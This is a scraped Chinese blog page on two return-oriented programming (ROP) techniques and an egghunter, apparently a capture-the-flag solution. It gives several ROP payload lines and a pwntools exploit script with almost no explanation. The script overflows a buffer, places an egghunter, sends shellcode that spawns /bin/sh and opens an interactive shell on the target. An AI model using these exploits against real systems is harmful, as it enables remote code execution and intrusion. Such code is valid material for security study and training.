两种rop and egghunter
来源:互联网 发布:java 获得访问者ip 编辑:程序博客网 时间:2024/06/04 20:07
payload = 'A' * 24 + p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) + p64(evil_addr)
payload = "http://%\0A" + 'A'*(156-8) + system_addr + 'AAAA'+ binsh_addr
puts_plt + 'A'*4 + puts_got
payload = 'A' * 24 + p64(pop_rdi_ret) + p64(sh_addr) + p64(system_addr)
sh_libc = list(libc.search('/bin/sh\x00'))
from pwn import *#initdebug = 0if debug: io = process('./egg')else: io = remote('127.0.0.1',2334)context.log_level = 'debug'if debug: gdb.attach(pidof('egg')[-1],open('zp'))#----------------------------------------------------------------shellcode = '\x90\x50\x90\x50'+"\x90\x90\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80\x90\x90"jmp_esp = 0x0804885fio.recvuntil('Your party seat is')chunk_addr = int(io.recvuntil('\n'),16)print 'chunk_addr = '+ hex(chunk_addr)io.recvuntil('trick?')io.sendline('treat')io.recvuntil('located in ')stack_addr = int(io.recvuntil('\n'),16)print 'stack_addr = '+ hex(stack_addr)io.recvuntil('your name?')egg_hunter = "\xb8" + p32(chunk_addr) + "\xbb\x8f\x50\x90\x50\x43\x40\x39\x18\x75\xfb\xff\xe0\x01"payload = egg_hunter + 'A'*(20-len(egg_hunter)) + p32(stack_addr)io.sendline(payload)io.recvuntil('sweets here.')io.sendline(shellcode)io.interactive()```
阅读全文
0 0
- 两种rop and egghunter
- rop开发
- pwn --rop
- 基本ROP
- 高级ROP
- iOS冰与火之歌 – Objective-C Pwn and iOS arm64 ROP
- MSVCRT:ROP - CN 修改ROP检测标志
- 两种很好玩的Look And Feel
- ajax两种传递方式 POST and GET
- 两种处理XML方式的比较---DOM and SAX
- coderforce 510c Fox And Names(两种写法)
- js的两种查询方式 LHS and RHS
- 【HDU5156】Harry and Christmas tree,两种离线的做法
- cve2012-1889 ie8 rop
- STM8 ROP编程
- rop 文件上传
- rop入门(一)
- rop入门(二)
- JS中常见的算法
- Unity切图
- 两款JSON类库Jackson与JSON-lib的性能对比(新增第三款测试)
- JAVA 发送邮件工具类
- Android:学习AIDL,这一篇文章就够了(上)
- 两种rop and egghunter
- 动态规划中级教程 96. Unique Binary Search Trees
- 剑指offer-两个链表的第一个公共点
- Idea JSP随处断点,CSS行都OK
- 算法题目---翻转单词顺序 VS 左旋转字符串
- sql查询语句
- 获取剩余的秒数
- leetcode--Valid Parentheses
- JAVA--集合知识总结